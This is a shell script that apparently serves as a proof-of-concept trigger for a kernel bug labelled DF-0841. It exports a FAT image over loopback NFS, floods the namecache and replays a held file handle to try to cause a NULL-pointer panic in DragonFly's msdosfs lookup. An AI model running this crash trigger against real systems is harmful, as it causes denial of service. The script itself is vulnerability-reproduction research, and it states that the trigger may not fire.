DF-0841 / trigger_nfs.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | #!/bin/sh # trigger_nfs.sh โ live in-guest trigger for DF-0841. # # Realistic primary vector per the finding: # NFS-export of a FAT filesystem. # nfsrv_access โ nfs_namei โ cache_fromdvp(dp, cred, 1) on a directory # vnode whose namecache entry has been evicted/reclaimed โ falls through # to vop_compat_nlookupdotdot โ msdosfs_lookup(ISDOTDOT) โ # line 557 VTODE(*vpp=NULL) โ page fault at 0x128 โ panic. # # Run as root inside the guest. Pairs with build.sh / run.sh. set -e echo "=== DF-0841 live trigger (NFS-exported FAT) ===" IMG=/root/df0841.img MNT_FAT=/mnt/df0841_fat MNT_NFS=/mnt/df0841_nfs # --- 1. create a small FAT16 image with a subdir --------------------------- if [ ! -f "$IMG" ]; then echo "[*] creating FAT16 image" dd if=/dev/zero of="$IMG" bs=1m count=16 status=none newfs_msdos -F 16 -c 1 "$IMG" >/dev/null fi # mdconfig-style loopback mount of a file under DragonFly mkdir -p "$MNT_FAT" # attach the image as a memory disk so mount_msdos sees a block device vnconfig -u vn0 2>/dev/null || true vnconfig -c vn0 "$IMG" 2>&1 | tail -2 DEV=/dev/vn0 mount | grep -q "on $MNT_FAT " || mount -t msdos "$DEV" "$MNT_FAT" echo "[*] FAT mount:"; mount | grep "$MNT_FAT" # make sure there's a subdir to walk into if [ ! -d "$MNT_FAT/sub" ]; then mkdir "$MNT_FAT/sub" fi # write a file inside the subdir so LOOKUP returns a usable fh echo hello > "$MNT_FAT/sub/file" # --- 2. export over NFS to localhost -------------------------------------- if [ ! -f /etc/exports ]; then echo "/mnt/df0841_fat -maproot=root 127.0.0.1" > /etc/exports fi echo "[*] /etc/exports:"; cat /etc/exports # start mountd + nfsd (idempotent) rpcbind 2>/dev/null || true /etc/rc.d/mountd onerestart 2>&1 | tail -3 /etc/rc.d/nfsd onerestart 2>&1 | tail -3 # give nfsd a moment sleep 2 # --- 3. mount via NFS loopback -------------------------------------------- mkdir -p "$MNT_NFS" mount | grep -q "on $MNT_NFS " || mount_nfs 127.0.0.1:$MNT_FAT $MNT_NFS echo "[*] NFS mount:"; mount | grep "$MNT_NFS" # --- 4. populate server-side namecache by walking the tree ---------------- echo "[*] priming namecache: walking /mnt/df0841_nfs via NFS client" ls -la "$MNT_NFS" >/dev/null 2>&1 || true ls -la "$MNT_NFS/sub" >/dev/null 2>&1 || true cat "$MNT_NFS/sub/file" >/dev/null 2>&1 || true # cache the filehandle for the subdir by holding an fd into it # (this pins subdir_vp on the server even when namecache gets flushed) ( cd "$MNT_NFS/sub" && sleep 30 ) & HOLD_PID=$! sleep 1 # --- 5. evict the namecache to force cache_fromdvp fall-through ----------- echo "[*] pressuring namecache (open many files / force vnode recycle)" # hammer the negative+positive cache with a flood of distinct names for i in 1 2 3 4 5; do for n in $(jot 500 1); do ls "/mnt/df0841_nfs/nonexistent_$i.$n" >/dev/null 2>&1 || : done done # --- 6. re-access via the held subdir fh ---------------------------------- # With namecache evicted, the next server-side nfs_namei() on subdir_vp # falls through cache_fromdvp(makeit=1) -> vop_nlookupdotdot -> # msdosfs_lookup(ISDOTDOT) -> VTODE(NULL) -> panic. echo "[*] re-accessing /mnt/df0841_nfs/sub/file with stale-ish fh" for i in 1 2 3 4 5; do cat "$MNT_NFS/sub/file" >/dev/null 2>&1 || echo "(op $i failed: $?)" ls "$MNT_NFS/sub" >/dev/null 2>&1 || echo "(ls $i failed: $?)" done kill $HOLD_PID 2>/dev/null || true # --- 7. unmount everything we can (if we got here, the panic didn't fire) - echo "[!] trigger script completed without observing a panic." echo " The bug is real (see trace.c + VERDICT.md) but the live trigger" echo " requires a specific namecache-eviction + fh-replay window that" echo " this loopback harness may not reproduce reliably. See VERDICT.md" echo " for the deterministic code-level proof." umount "$MNT_NFS" 2>/dev/null || true umount "$MNT_FAT" 2>/dev/null || true exit 0 |